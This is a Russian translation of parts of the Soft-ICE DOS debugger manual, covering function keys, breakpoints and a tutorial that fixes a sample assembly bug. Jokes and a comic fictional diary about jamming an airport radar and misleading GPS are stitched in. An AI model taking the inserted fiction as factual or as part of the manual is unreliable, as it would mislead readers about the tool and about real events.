IBM AT предоставляла специальную особенность, позволяющую некоторым старым программам, которые первоначально были написаны для CP/M функционировать на процессоре 80286. Эта возможность давала обращениям к памяти, возвращающимся в нулевую область на 8086 при выходе за границу мегабайта, работать на 80286. Некоторые программы отключают эту "совместимость", чтобы обращаться к памяти выше одного мегабайта в режиме реальной адресации. Soft-ICE эмулирует эту способность. Она обеспечивается на всех машинах 80386 AT через контроллер клавиатуры и через порт ввода/вывода 92H на PS/2.

Руководство по Soft-ICE (DOS) - 24.

10 июня. Запускали малошумяший усилитель. Регистрирует импульсные помехи каждые 8 секунд. 11 июня. Анализировали спектр помех. Нашли источник. Это радар на городском аэродроме. 12 июня. Тестировали новые компьютеры. Фурье- и вейвлет преобразования идут на ура. Квейк тоже не тормозит. 13 июня. Тестировали мониторы. Через 3 минуты появился новый бот. Валили его втроем. На седьмой минуте забили окончательно. Прибежал шеф. Был очень лаконичен и сыпал яркими образами. Болят уши. Грустно. 14 июня. Экранировали усилитель. Заземляли. Заземлили все, что можно. Не помогает. Спирт тоже. С радаром надо кончать. 15 июня. Думали. Паяли схему. 18 июня. Утро. Включили усилитель. Давили радар новой схемой. Подбирали волну, фазу и форму импульса. Подавили. Помех на усилителе больше нет. Обед. На нас чуть не сел первый самолет. Вечер. Самолеты идут косяками. Выключили схему. За проходной ждали пилоты. Крепкие ребята с хорошей реакцией. Охрана нас отбила. Потом добавила. 19-22 июня. Душевные беседы с особистом. 23 июня. Приехали военные. Забрали схему. Очень хвалили. Потом пугали. Мы обещали молчать. К вечеру пришел журналист. Напоили его и завели на технический этаж. Оттуда еще никто быстро не выходил. Плутают как минимум сутки. 26 июня. С утра поддались боту в Квейк. Минут двадцать строили из себя мясо. Шеф пришел от себя довольный. Об увольнении уже нет и речи. Журналист, где-то голосит, но его надежно глушит вентиляция. 27 июня. Шеф на коне. Мы трое отдыхаем. Разгромный счет. Обидно. Анализировали причину неудач. Вечер. Искали журналиста. Остались на ночную смену. Нашли. Кидается гайками. Смеется и что-то пишет на своем ноутбуке. Оказывается, у него радиодоступ в Интернет. Завидую. 28 июня. Увы, у всех у нас плохая реакция. Руки на клавиатуре не успевают. Собирали манипуляторы с управлением от биотоков мозга. 29 июня. Отлаживали манипуляторы. Оказалось, реагируют на подсознательные образы. У всех синяки. Снизили чуствительность входных каскадов. Помогло. 30 июня. Убрали манипуляторы. Неспортивно и чревато увольнением. Приспособили их в горячую камеру, где работаем с радиоактивностью. Удобно, быстро. Остается больше времени на компьютеры. 3 июля. Приходил директор. Забрал манипуляторы. Просил сделать еще. Весь день пытались вспомнить управляющую схему. Не сумели. Курево не то. Спирта нет. Шеф опять на коне. В корпусе уже ходят легенды про неизвестного, ворующего еду и спирт. 4 июля. Приходил Вася. Бывший сотрудник. Теперь крутой. Хвастается GPS. Хам. Поспорили на его джип, что GPS ему не поможет. Не верит. 5 июля Готовились к спору. Окна джипа закрашены. Вася готов. Смеется. Мы тоже готовы. Нашли подходящий кабель для новой схемки. Главное, чтобы выдержала подстанция. 6 июля. Подстанция продержалась до обеда. Джип застрял в болоте километрах на 120 от города. Вася удивлен. Считал, что он посреди города. Мы рады. 7 июля. Уже не рады. Схемы нет. Прибора нет. Компьютеров нет. Заначенной бутыли тоже нет. Комнаты опечатаны. 8-20 июля. Сидим в КПЗ. Иногда встречи с особистом. Читаем в газетах о происшествиях с судами и самолетами, потерявшими ориентацию. 21 июля. Виделись с шефом. Говорит тихо. Нервничает. Дергается глаз. Хочет к маме. Ничего не помнит. 22 июля. Приходили военные. Сильно пугали. Немного хвалили. Просили работать на них. За такие деньги - и работать? Август. Мы были неправы. Надо было соглашаться. Теперь поздно. Осваиваем пилы и топоры. Спирт из местной древесины плохой. Работа идет медленно. Неэффективно. Надо что-то делать. Так, чтобы деревья сразу под корень, и ветки долой... Сентябрь. Сделали. Сидим в карцере. Говорят, разовый выруб пяти гектаров леса был заметен километров за 20... Жаль, установка тоже сгорела. Конвой косится и исподтишка бьет по почкам. Зря. Задеть казарму и поселок мы не хотели. Грустно. Ждем особиста и военных... SOS

Команды защищенного режима 80286 и 80386

Некоторые специфические программы AT использовали команды защищенного режима 80286. С появлением 80386 некоторые программы 80386 используют команды защищенного режима 80386. Эти программы не будут работать с Soft-ICE.

Soft-ICE обеспечивает стандартные расширения режима реальной адресации, которые фирма Intel включила в процессоры 80186 и 80286 (PUSHALL, POPALL и т.д.), но не команды защищенного режима типа LGDT, LMSW и т.д.

Ошибки 80386

Есть несколько ошибок в работе чипа 80386. Большинство этих ошибок относятся только к программному обеспечению защищенного режима (типа Soft-ICE).

Руководство по Soft-ICE (DOS) - 3.

Настоящий хакер может взломать домофон из Пентагона и Пентагон из домофона.

F10 - Выполняет подпрограмму или цикл (^P;) F11 - Перейти к адресу возврата (большая модель) (^G @SS:SP;) F12 - выводит номер версии Soft-ICE (^VER;).

Знак "сагеt" (^), предшествующий команде, делает ее невидимой, точка с запятой (;) после команды производит перевод строки. Вы можете вывести на экран текущие назначения функциональных клавиш, введя команду:

FKEY

Для использования функциональной клавиши просто нажмите ее вместо ввода команды. При необходимости программирования функциональных клавиш, см. часть 5.8 для получения описания команды FKEY или главу 6 для получения описания предварительной инициализации функциональных клавиш в S-ICE.DAT.

3.10 Помощь

Команда помощи выводит краткое описание, синтаксис выражения и пример каждой команды. Чтобы получить информацию помощи, введите:

? или H -- выводит краткие описания всех команд и операторов ? команда или H команда -- выводит более детальную информацию по указанной команде, синтаксис и пример ? выражение или H выражение -- выводит значение выражения в шестнадцатеричном, десятичном и ASCII формате.

3.11 Обучающая Часть

Эта обучающая часть демонстрирует некоторые из возможностей Soft-ICE и дает вам возможность попробовать использовать Soft-ICE. Soft-ICE может быть использован вместе с другим отладчиком или как автономный отладчик. Обучающая часть демонстрирует использование Soft-ICE как дополнение к отладчику DOS DEBUG, а потом показывает, каким образом Soft-ICE может использоваться как автономный отладчик с загруженным исходным текстом и символами. DEBUG можно найти на системной дискете PC DOS или MS DOS. Если у вас нет DEBUG, вы можете найти другой отладчик или использовать Soft-ICE как автономный отладчик.

Пользователи, которым необходимо использовать Soft-ICE для "обратного проекти- рования" или для отладки загружаемых драйверов устройств DOS или резидентных программ, также должны пройти эту обучающую часть. Даже если примеры программ этих типов непосредственно не демонстрируются, вы получите представление об отладке при помощи Soft-ICE. Рекомендуется поэкспериментировать с Soft-ICE и вашим специфическим окружением до начала работы с реальным проектом.

Для демонстрации аппаратных точек останова используется короткая программа на языке ассемблера с тонким изъяном. Программа-пример была сделана максимально короткой и ясной для тех, кто не очень знаком с языком ассемблера. Обучающая часть предназначена для того, чтобы дать вам почувствовать возможности Soft-ICE. Не стесняйтесь экспериментировать по собственной инициативе после прохождения обучающей части.

Так как Soft-ICE очень гибок, он позволяет вам загружать его оптимальным для вашей системы образом. Пройдите процедуры установки в части 2.2 перед тем как продолжить изучать обучающую часть.

Если у вас в системе нет расширенной памяти, вы должны загрузить Soft-ICE из командной строки. При загрузке Soft-ICE из командной строки вы не сможете загружать символы или файлы с исходными текстами. В этом случае вы должны перейти к последней теме обучающей части, где Soft-ICE используется как автономный отладчик.

Soft-ICE может быть загружен из командной строки DOS или как драйвер устройства в CONFIG.SYS. Для этой обучающей части вы должны установить Soft-ICE в CONFIG.SYS с хотя бы 50КБ расширенной памяти для символов и файлов с исходным текстом. Soft-ICE должен быть первым драйвером устройства, установленным в CONFIG.SYS. Строка установки устройства должна выглядеть так:

DEVICE = диск:\путь\S-ICE.EXE /SYM 50

Параметр /SYM 50 указывает Soft-ICE резервировать 50 килобайтов расширенной памяти для символов и файла с исходным текстом. Этого недостаточно для решения реальных задач, но будет работать с нашей программой-примером.

Вы должны перезагрузить вашу систему после помещения этой строки в CONFIG.SYS.

Когда вы перезагрузите вашу систему, Soft-ICE выведет информацию об авторских правах, регистрационный номер, имя владельца этой копии Soft-ICE и количество расширенной памяти, зарезервированной для каждой компоненты Soft-ICE. В системе с 384КБ расширенной памяти начальный экран напоминает следующий:

Soft-ICE Ваше имя Название вашей компании # SInnnnnn Copr. (C) Nu-Mega Technologies 1987-1989 All Rights Reserved Soft-ICE Version 2.00 Soft-ICE is loaded from 00132000H up to 00160000H. 50K of symbol space reserved. 10K of back trace space reserved. 200 K of extended memory available.

Сообщение "Soft-ICE загружен ..." указывает вам точную область памяти, которая занята Soft-ICE и его компонентами. Если у вас Compaq или клон Compaq и включено слово COMPAQ в ваш файл S-ICE.DAT, вы также увидите сообщение : "Using high memory from XXXXXXXX to 00FE0000H".

Следующая строка сообщает, сколько памяти было зарезервировано под символы. Эта память используется для символов и файлов с исходными текстами.

Следующая строка сообщает, сколько памяти было зарезервировано для истории обратной трассировки. По умолчанию резервируется 10КБ. Эта область памяти используется командой SNAP и командой BPR с опциями T или TW.

Последняя строка сообщает вам, сколько памяти оставлено под обычную расширен- ную память. Эта память может использоваться другими программами, типа HIMEM, SMARTDRIVE, VDISK и т.д.

Перейдите в директорию вашего жесткого диска, в которую вы поместили все файлы с вашей дистрибутивной дискеты. Помните, что этот каталог должен быть доступен через переменную PATH.

Прежде чем начинать тяжелую отладку, давайте вызовем окно Soft-ICE и произведем его проверку. Очистите экран, введя:

CLS

Вызовите окно Soft-ICE, нажав:

CTRL D

Теперь окно Soft-ICE - на экране. Если ваш файл S-ICE.DAT доступен через переменную PATH, то окно Soft-ICE будет занимать весь экран. Он будет разделен на четыре части. Сверху вниз эти части : окно регистров, окно данных, окно кода и окно команд. Если S-ICE.DAT не был найден, у вас будет маленькое окно в центре экрана. Это также означает, что другие компоненты, необходимые для обучающей части, не были загружены.

Если видимо маленькое окно, вы должны:

1. Выйти из Soft-ICE, введя X. 2. Выгрузить Soft-ICE, введя S-ICE /U. 3. Скопировать файл S-ICE.DAT с дистрибутивной дискеты в каталог, доступный через существующую переменную PATH. 4. Повторно начать демонстрационный пример.

Сейчас мы перейдем к маленькому окну. Маленькое окно очень удобно для использования Soft-ICE в дополнение к другому отладчику.

Введите:

WIN

Это приведет к появлению маленького окна команд в центре экрана вместо большо- го. На этом экране видно несколько команд Soft-ICE. Это - остатки строки инициализации из S-ICE.DAT, которые первоначально установили Soft-ICE в полноэкранный режим.

Вы заметите символ стимула (:) и строку состояния в нижней части окна.

Окно Soft-ICE может перемещаться относительно экрана, так же может быть отрегулирован размер окна.

Переместите окно по экрану, нажимая:

CTRL стрелка вверх-- перемещает окно на одну строку вверх CTRL стрелка вниз -- перемещает окно на одну строку вниз CTRL стрелка вправо -- перемещает окно на одну позицию вправо CTRL стрелка влево -- перемещает окно на одну позицию влево.

Измените размер окна так, чтобы оно заполнило весь экран, введя:

WIN

Вы увидите, что восстановился первоначальный экран.

Вернитесь к маленькому окну, снова введя.

WIN.

Сделайте окно выше или ниже, нажимая:

ALT стрелка вверх -- делает окно выше ALT стрелка вниз -- делает окно ниже.

Теперь представьте, что происходит, когда вы - перед новой программой и точно не знаете, что делать дальше -- вы просите помощи.

Получите помощь, введя:

?

Обратите внимание, что вывод на экран прекращается до нажатия любой клавиши прежде чем прокрутить информацию по экрану. Посмотрите на строку состояния в в нижней части окна. В строке состояния выведены инструкции: "Любая клавиша - продолжение, ESC - отмена". Теперь нажмите любую клавишу, для продолжения вы- вода информации помощи. Продолжайте нажимать клавишу до повторного появления стимула (:).

Прокрутите информацию помощи назад, нажав.

SHIFT стрелка вниз.

Выведенная ранее информация может прокручиваться в окне команд при помощи клавиш shift вверх, shift вниз, page up и page down. Попробуйте разные клавиши для перемещения по информации помощи.

Средство помощи Soft-ICE дает вам краткий обзор каждой команды. Если вы введете знак вопроса (?) сопровождаемый названием команды, вы увидите экран, показывающий синтаксис команды, краткое описание команды и пример.

Попробуйте поэкспериментировать с помощью, вводя команды в следующем формате:

? команда

Например,

? ALTKEY

Если вы запутались, обратите внимание на сообщения в строке состояния в нижней части экрана.

Команда помощи также позволяет вам вычислять шестнадцатеричные выражения.

Например, введите:

? 10*2+42

Результирующий экран показывает вам значение выражения, сначала в шестнадцатеричном, потом десятичном, а потом в ASCII - представлении:

0062 00098 "b"

Мы вызвали окно комбинацией клавиш CTRL D. Некоторых это устраивает, но вы можете предпочесть использовать другую комбинацию клавиш.

Теперь введем команду, чтобы изменить комбинацию клавиш, требуемую для вызова окна. Мы сделаем это шаг за шагом, так чтобы вы привыкли к строке состояния в нижней части окна.

Введите букву "A". Строка состояния покажет список всех команд, начинающихся с буквы "A". Завершите ввод слова "ALTKEY". Строка состояния теперь покажет короткое описание команды ALTKEY Нажмите "пробел". Строка состояния теперь покажет требуемый синтаксис для команды ALTKEY. Наберите буквы "ALT D" потом нажмите ВВОД, чтобы ввести полную команду:

ALTKEY ALT D

Вы только что изменили комбинацию клавиш для вызова окна на ALT D. С этого времени вы должны нажать клавиши ALT D, чтобы вызвать окно. Так и оставим это во всей оставшейся обучающей части. Теперь давайте проверим предыдущую команду.

Для выхода из окна, введите:

ALT D

Руководство по Soft-ICE (DOS) - 4.

- Виндовс это не вирус. Вирусы не глючат.

Окно Soft-ICE только что исчезло. Чтобы вернуться в окно Soft-ICE, отпустите клавишу ALT, а потом нажмите: ALT D.

Окно восстановилось. Для просмотра предыдущих команд, нажмите: клавишу стрелка вверх несколько раз.

Имейте в виду, что Soft-ICE помнит команды, которые были введены. Попробуйте отредактировать одну просто для забавы. Вот некоторые клавиши редактирования:

INS -- переключает режим вставки DEL -- Удаляет один символ HOME -- Перемещает курсор в начало строки END -- Перемещает курсор в конец строки стрелка вправо -- Перемещает курсор на символ вправо стрелка влево -- Перемещает курсор на символ влево.

Имейте в виду, что когда включен режим вставки, курсор принимает форму блока.

Теперь, когда вы немного знакомы с окружением, давайте, попробуем некоторые другие команды.

Сотрите команду, которую вы редактировали, нажав клавишу HOME, потом нажимая клавишу DEL пока команда не исчезнет.

Введите:

WR

Команда WR делает видимым окно регистров. Окно регистров показывает содержимое регистров 8086. Заметьте что значения регистров отражают местоположение, где выполнялся код, когда вы вызвали Soft-ICE.

Команда WR назначена в файле инициализации Soft-ICE, S-ICE.DAT на функциональную клавишу F2.

Нажмите клавишу F2 несколько раз, и вы увидите, как включается/выключается окно регистров. Оставьте окно регистров видимым.

Увеличьте вертикальный размер окна Soft-ICE, держа нажатыми ALT и , пока окно не займет весь экран. Запомните значения регистров CS и IP в окне регистров, потом введите:

MAP

Команда MAP покажет карту памяти системы. Область текущего указателя инструкций (CS:IP) будет подсвечена. Если у вас сложная карта памяти, вам может быть придется несколько раз нажать клавишу, пока вновь не появится командная строка.

Теперь попробуйте следующую последовательность несколько раз, запоминая регистры (CS:IP) в окне регистров.

ALT D

Отпустите ALT и D.

ALT D

Каждый раз при возвращении в окно Soft-ICE, вы будет замечать что регистры CS и IP изменились. Когда CS и IP изменились, вы может ввести команду MAP снова и посмотреть, показывает ли теперь указатель инструкций на другую область.

Это небольшое упражнение демонстрирует, что Soft-ICE является отладчиком системного уровня, который всплывает по горячей комбинации клавиш Soft-ICE, куда бы ни показывал указатель инструкций. Указатель инструкций непрерывно меняется, потому что выполняется множество команд между вызовами, даже когда вы - в командной строке DOS, типа прерываний таймера, работы драйверов устройств DOS, занятости DOS при ожидании других прерываний и т.д.

Нажмите функциональную клавишу F12.

Функциональной клавише F12 по умолчанию назначена команда VER. Она выводит сообщение об авторских правах на Soft-ICE и номер версии. Теперь мы назначим функциональной клавише F12 команду RS.

Введите:

RS

Она временно покажет экран программы без окна Soft-ICE. Нажмите "пробел", чтобы вернуться в окно Soft-ICE.

Введите:

FKEY F12 RS;

Это назначает команду RS на клавишу F12. Точка с запятой заменяет клавишу ВВОД.

Нажмите клавишу F12.

Повторите это несколько раз для переключения между окном Soft-ICE и экраном программы. Теперь удостоверьтесь, что выведено окно Soft-ICE, при необходимости, нажав клавишу F12. Вы заметите, что RS выведен в окне несколько раз. Одно появление на экране команды RS соответствует одному нажатию клавиши F12, чтобы показать экран программы.

Очистите окно Soft-ICE, введя:

CLS

Введите:

FKEY F12 ^RS;

Символ (^) - shift + 6. Это назначит команду RS клавише F12, но сделает эту команду невидимой.

Нажмите клавишу F12 несколько раз. Заметьте что команда RS больше не выводится в окне Soft-ICE.

Вы также можете назначать функциональной клавише последовательность команд. Не забывайте ставить знак возврата каретки между командами. Теперь давайте подготовимся использовать Soft-ICE в дополнение к утилите MS-DOS DEBUG.

Уберите окно регистров, нажав F2. Потом сократите размер окна до приблизительно 6 строк используя ALT .

Введите:

ACTION INT3

Эта команда заставляет Soft-ICE сгенерировать int 3 при выполнении условий точки останова. Таким образом, Soft-ICE будет взаимодействовать с DEBUG. Установка по умолчанию - HERE. ACTION HERE будет заставлять возвращать управление непосредственно Soft-ICE. Используйте ACTION HERE при работе с Soft-ICE как с автономным отладчиком.

Тем, кто не использует DEBUG с этой обучающей частью, теперь возможно придется импровизировать. CODEVIEW работает с ACTION установленным на NMI. Большинство других отладчиков будет работать с ACTION INT3. Если ваш отладчик не делает этого и вам необходима помощь для импровизации, обратитесь к полному описанию ACTION (см. часть 5.4).

Для того чтобы снова убрать окно Soft-ICE, введите:

X

Это - альтернативный метод для выхода из Soft-ICE. Это особенно полезно при переопределениях функциональных клавиш.

Теперь, когда вы знакомы с некоторыми из азов использования Soft-ICE, давайте вникнем в некоторые детали, отлаживая программу-пример (SAMPLE.ASM).

SAMPLE.ASM - простая программа, написанная на Ассемблере программистом по имени Jed. Программа читает нажатия клавиш из DOS и выводит сообщение, говорящее был ли нажат пробел.

Для запуска программы SAMPLE, введите:

SAMPLE

Теперь нажмите "пробел". Нажмите несколько клавиш. Очевидно у программы Jеd'а проблемы! Jed потратил часы, изучая этот исходный код, и уверен, что в его логике нет никаких недостатков. Однако, Jed позаимствовал несколько вспомогательных подпрограмм у его друга Jаке'а (get_key, is_space?). Jed немного подозревает эти подпрограммы, но не может найти ошибку.

Исходный код программы Jеd'а выглядит следующим образом:

Page 55,80
Title Пример программы для обучающей части Soft-ICE
DATA Segment Public 'Data'
pad db 12H dup(O)
char db 0
answer db 0
space_msg db 'Был нажат ПРОБЕЛ',0DH,0AH,'$'
no_space_msg db 'Введенный символ - НЕ '
db 'ПРОБЕЛ',0DH,0AH,'$'
DATA Ends
STACK Segment Stack 'Stack'
Dw 128 Dup (?) ;Стек программы
STACK Ends
CODE Segment Public 'Code'
Assume CS:CODE,DS:DATA,ES:Nothing,SS:STACK
start:
; Устанавливаем сегменты
mov ax,DATA
mov es,ax
mov ds,ax
; Основной цикл программы
main_loop:
call get_key
call is_space?
cmp answer,0
je no_space
; Это пробел, выводим сообщение о пробеле
mov ah,9
mov dx,offset space_msg
int 21H
jmp main_loop
; Это НЕ пробел, выводим сообщение об отсутствии пробела
no_space:
mov ah,9
mov dx,offset no_space_msg
int 21H
jmp main_loop
;---------------------;
; ПОДПРОГРАММЫ JАКЕ'а
;---------------------;
; Подпрограмма Get Key (одна из подпрограмм Jаке'а)
get_key proc
mov ah,8
int 21H
mov char,al
ret
get_key endp
; Проверка, является ли символ пробелом (одна из подпрограмм Jаке'а)
is_space? proc
cmp char,20H
jne not_space
mov answer,1
ret
not_space:
mov cs:answer,0
ret
is_space? endp
CODE Ends
End start

Jed использовал DEBUG, но не был способен решить проблему с его помощью. По рекомендации его племянника Jethro, Jed купил Soft-ICE. Он немного сомневался в необходимости этого, потому что он уже пытался использовать отладчик аппаратного уровня, но так и не смог заставить его правильно работать. Он хотел попробовать Soft-ICE, потому что он мог бы продолжать использовать DEBUG - единственный отладчик, с которым он действительно умеет работать.

Нажмите CTRL C, чтобы выйти из программы. Введите следующие команды:

DEBUG диск:\путь\SАМРLЕ.EXE
U
R

За часы, которые Jed потратил, пытаясь найти эту неуловимую ошибку, он понял, что что-то непонятным образом записывается поверх его кода. Jed решает при помощи Soft-ICE установить точку останова на диапазон его сегмента кода.

Руководство по Soft-ICE (DOS) - 5.

Если бы автомобилестроение развивалось такими же темпами, как компьютерная индустрия, Роллс-Ройс стоил бы 5 долларов, ездил 1000 миль на галлон бензина и раз в год взрывался с четырьмя пассажирами.

Нажмите: ALT D.

Окно Soft-ICE вернулось. Переместите окно (с использованием CTRL и клавиш стрелок), пока не будет виден экран регистров DEBUG. Настало время установить нашу первую точку останова.

Введите:

BPR сег. кода:0 сег. кода:25 W

Сег. кода - значение в регистре CS, показываемое при помощи команды R в DEBUG.

Команда BPR устанавливает точку останова на диапазон памяти. Длина сегмента кода Jеd'а - 25H байт, так что указанный диапазон памяти продолжается от начала его кода до конца. W сообщает Soft-ICE останавливаться при записи в этот диапазон. Мы хотим перехватить любую неожиданную запись в код Jеd'а.

Введите:

BL

Команда BL покажет все точки останова. Вывод после команды BL выглядит следующим образом:

0) BPR сег. кода:0000 сег. кода:0025 W C = 01

0 - идентификатор этой точки останова. Диапазон и W показаны, так как были введены, а счетчик (так как он не был определен) по умолчанию равен 1.

Теперь настал момент истины. Нажмите ALT D.

Окно снова исчезает. Чтобы запустить SAMPLE из DEBUG, введите:

G

Нажмите "пробел". Пока все Ok. Теперь нажмите непробельную клавишу.

Наша точка останова только что пробудила DEBUG. Выведены регистры и одна дизассемблированная инструкция.

Введите:

U cs:адрес

Адрес - значение регистра IP минус 10 (шестнадцатеричное). Так как DEBUG довольно примитивен, значение регистра IP минус 10 должно быть рассчитано вручную. Указатель инструкции указывает на инструкцию, следующую за той, которая активизировала точку останова. Возвратом на десять (шестнадцатеричных) байт мы синхронизируем DEBUG с нужной нам инструкцией.

Инструкция по смещению 3BH:

CS:
MOV BYTE PTR [13],0

Jed говорит, "Вот оно! Я так и знал, что проблема была во вспомогательных подпрограммах Jаке'а! Инструкция выходящая за его сегмент кода записывает нулевой байт прямо в мой код! Кто мог об этом знать!".

Введите:

U 0

Местоположение 13H должно являться смещением инструкции условного перехода. Относительное смещение условного перехода устанавливается в ноль. Если вы являетесь гуру в 8086, вы, очевидно, знаете, что JE НИКОГДА не сработает, если относительное смещение - ноль. Какая тонкая ОШИБКА!

Теперь давайте разберемся, как эта проблема была бы решена при использовании Soft-ICE как автономного отладчика. Но сначала мы должны выйти из DEBUG.

Перед выходом из отладчика будет неплохо дезактивировать все точки останова, если ACTION не установлена на HERE. Если вы это не сделаете, то когда выполнится останов и ACTION попробует вернуться к отладчику, который не загружен, результаты будут непредсказуемы. Мы изменили ACTION на INT3, следовательно, мы должны отменить точку останова.

Для вызова окна введите:

ALT D

Просмотрите список точек останова, введя:

BL

Обратите внимание, что строка описания точки останова выделена. Выделенная точка останова - последняя выполненная точки останова.

Заметьте, что номер точки останова - 0. Для дезактивации точки останова с номером ноль, введите:

BD 0

Снова просмотрите список точек останова, введя:

BL

Звездочка (*) после номера точки останова покажет, что точка останова неактивна.

Чтобы удалить точку останова, введите:

BC 0

Снова введите BL.

Обратите внимание, что не выведено ни одной строки с точками останова.

Выйдите из Soft-ICE, а потом из отладчика, введя:

X
Q

Следующий раздел обучающей части демонстрирует, как Soft-ICE может использоваться для решения той же самой проблемы как автономный отладчик. Soft-ICE будет использоваться как отладчик на уровне исходного текста.

Для подготовки Soft-ICE производить отладку на уровне исходного текста, он должен быть установлен в вашем файле CONFIG.SYS и часть расширенной памяти должна быть занята для символов и файлов с исходными текстами. Soft-ICE может использоваться как отладчик на уровне исходного текста, только если в вашей системе есть расширенная память. Если у вас нет.

Расширенной памяти вы все равно можете прочитать остаток обучающей части, чтобы увидеть возможности Soft-ICE с расширенной памятью. Если вы не загрузили S-ICE.EXE в ваш файл CONFIG.SYS с памятью, зарезервированной для символов, сделайте это сейчас.

Для отладки программы-примера Soft-ICE как автономным отладчиком мы должны использовать загрузчик программ Soft-ICE (LDR.EXE). Чтобы загрузить пример программы (SAMPLE.EXE), файл символов (SAMPLE.SYM) и файл с исходным текстом (SAMPLE.ASM), введите:

LDR SAMPLE

Теперь вы - в Soft-ICE с SAMPLE.EXE, загруженным в память. Заметьте что Soft-ICE занимает весь экран. Soft-ICE переключается в полноэкранный режим всякий раз, когда загружается программа. Исходный текст из SAMPLE.ASM должен быть виден в окне кода. Кроме того, видимы окно регистров и окно данных.

Выполните одну инструкцию, нажав F10.

Обратите внимание, что видео курсор перемещается на следующую инструкцию, которая будет выполнена на следующем шаге программы.

Нажмите F6.

Это переместит курсор в окно кода. Теперь поэкспериментируйте с клавишами , , PageUp и PageDn, для перемещения курсора и прокрутки исходного файла. Переместите курсор до 42 строки с клавишей .

Нажмите F9.

Мы только что установили точку останова при выполнении на строку 42. Строка должна выделиться, показывая, что точка останова установлена.

Введите:

BL

Это покажет точку останова, которую мы только что установили. Теперь нажмите ALT D.

Произойдет выход из Soft-ICE, выполнение программы-примера, пока не произойдет останов в строке 42. Soft-ICE должен немедленно восстановиться, с выделенным видео курсором на строке 42.

Снова нажмите F6.

Это вернет курсор в командное окно. Теперь введите:

BC *

Это уничтожит все точки останова (хотя должна быть установлена только одна). Теперь выйдете из Soft-ICE, нажав ALT D.

Вы вернулись к программе-примеру. Нажмите несколько клавиш, чтобы удостовериться, что она все еще не работает. Теперь вызовите Soft-ICE при помощи ALT D.

Так как ошибка уже произошла, мы хотим повторно начать программу. Введите:

EXIT RD

Эта команда принудительно завершает программу-пример. R сообщает Soft-ICE о необходимости восстановить векторы прерываний в состояние, в котором они были когда была загружена LDR'ом программа-пример. D сообщает Soft-ICE о необходимости удалять все активные точки останова. R и D необязательны в этом случае, но неплохо будет выработать привычку к их указанию при выходе из программы, загруженной LDR.EXE.

Теперь вы вернулись к командной строке DOS. Загрузите программу, снова введя:

LDR SAMPLE.EXE

Заметьте, что сейчас было введено расширение .EXE. Когда указано расширение, Soft-ICE не пытается загружать файл символов или файл с исходным текстом. В нашем случае файлы символов и исходного текста уже - в памяти.

Введите:

SYM

Будут выведены все публичные символы программы-примера. Нажмите Esc, чтобы вернуться к командной строке.

Теперь установим точку останова на диапазон, такую же, как мы устанавливали когда использовали Soft-ICE как дополнение к отладчику. На этот раз мы будем использовать символы, чтобы установить точку останова. Введите:

BPR START .82 W

Это установит точку останова на диапазон на наш сегмент кода от символа START до 82 строки исходного файла.

Введите:

BL

Вы можете проверить, что точка останова установлена должным образом.

Нажмите ALT D. Нажмите непробельную клавишу. Мы вернулись в Soft-ICE. Заметьте что текущая инструкция (строка с инвертированным видео курсором) - инструкция, идущая после той, что вызвала останов. Чтобы увидеть фактический код нажмите клавишу F3. Это переводит Soft-ICE в смешанный режим. Заметьте, что видео курсор покрывает 2 строки. Это - фактическая строка кода и строка кода из исходного файла с текущей инструкцией. Еще раз нажмите клавишу F3. Сейчас мы - в режиме кода. Никакие исходные строки не видны. Инструкция, находящаяся выше инвертированного видео курсора - инструкция, вызвавшая останов на диапазон. Нажмите клавишу F3 еще раз, чтобы вернуться к режиму исходного текста. Теперь исправим ошибку в программе-примере. Выйдите из программы и вернитесь в командную строку DOS, введя:
EXIT RD
Загрузите программу снова, введя:
LDR SAMPLE.EXE
Установите окно кода в режим кода, дважды нажав клавишу F3. дизассемблируйте неправильную подпрограмму, введя:
U not_space

Руководство по Soft-ICE (DOS) - 6.

- OS/2 это что? Половина операционной системы?

Сейчас мы используем интерактивный ассемблер Soft-ICE, чтобы решить проблему.

Введите:

A not_space

Soft-ICE выдаст в своей командной строке адрес.

Введите:

NOP

Нажмите ВВОД для выхода из ассемблера.

Обратите внимание, что в окне кода появилась инструкция NOP вместо перекрытия CS по смещению 003BH.

Нажмите клавишу F3, чтобы вернуться к режиму исходного текста, (исходный код, конечно, не изменился). Нажмите ALT D, чтобы запустить исправленную программу-пример.

Нажмите: Пробел и несколько непробельных клавиш.

Работает! Вы исправили ошибку! Для выхода из программы Jеd'а и возврата в DOS, введите:

CTRL C

Теперь мы продемонстрируем другую особенность Soft-ICE. Введите:

LDR SAMPLE.EXE

Это загрузит программу-пример еще раз. Введите:

RIP HANG_EXAMPLE

Первые две показанных инструкции:

CLI
JMP $

Обратите внимание, что инструкция перехода указывает сама на себя. Этот бесконечный цикл обычно необратимо завешивает систему. Введите:

BREAK ON

Мы только что включили режим BREAK. Режим BREAK заставит систему работать немного медленней, но позволит Soft-ICE активизироваться даже когда система в нормальных условиях считается зависшей.

Выйдите из Soft-ICE, нажав ALT D. Ваша система теперь зависла. Для неверующих, нажмите: CTRL ALT DEL.

Ничего не случилось! Она определенно зависла. Теперь нажмите ALT D.

Окно Soft-ICE - вернулось! Чтобы выйти из бесконечного цикла, введите:

EXIT RD

Сейчас вы вернулись в DOS. Попробуйте произвести какие-нибудь действия, чтобы почувствовать снижение производительности. Много людей считают удобным оставлять BREAK ON как конфигурацию по умолчанию.

Отключите режим BREAK, введя:

ALT D
BREAK OFF
ALT D

Сделайте что-нибудь, чтобы сравнить скорость. Вот и все! Веселитесь! Настало время начать экспериментировать и отлаживать ваши собственные программы. Просмотрите оставшуюся часть руководства и при необходимости обратитесь к специфическим разделам.

РАЗДЕЛ II -- Команды

Раздел II содержит списки синтаксиса для каждой команды Soft-ICE и объяснения и примеры для каждой команды. Все числа находятся в шестнадцатеричном формате; любое число может быть выражением с использованием +,-,/,* или регистров. Все команды нечувствительны к регистру букв. Слова, выделенные курсивом в выражениях синтаксиса команд должны быть заменены фактическими значениями, вместо их ввода курсивом.

В этой части везде используются следующие письменные условные обозначения:

[] -- Скобками выделяется необязательный пункт синтаксиса. < > -- Угловыми скобками выделяется список пунктов или вариантов. x | y -- Вертикальной чертой разделяются альтернативы.

Используйте или пункт x или пункт y.

Count -- Счетчик - байтовое значение, которое определяет количество случаев возникновения условий останова, которое должен быть пропущено перед фактической точкой останова. Если счетчик не определен, принимается значение по умолчанию 1. Каждый раз как вызывается окно Soft-IСЕ'а, значения счетчика переустанавливаются на первоначально указанные значения.

Verb -- Опция - значение, определяющее на какой тип доступа будет настроена точка останова. Он может быть установлен на "R" для чтения, "W" для записи, "RW" для чтения и записи или "X" для выполнения.

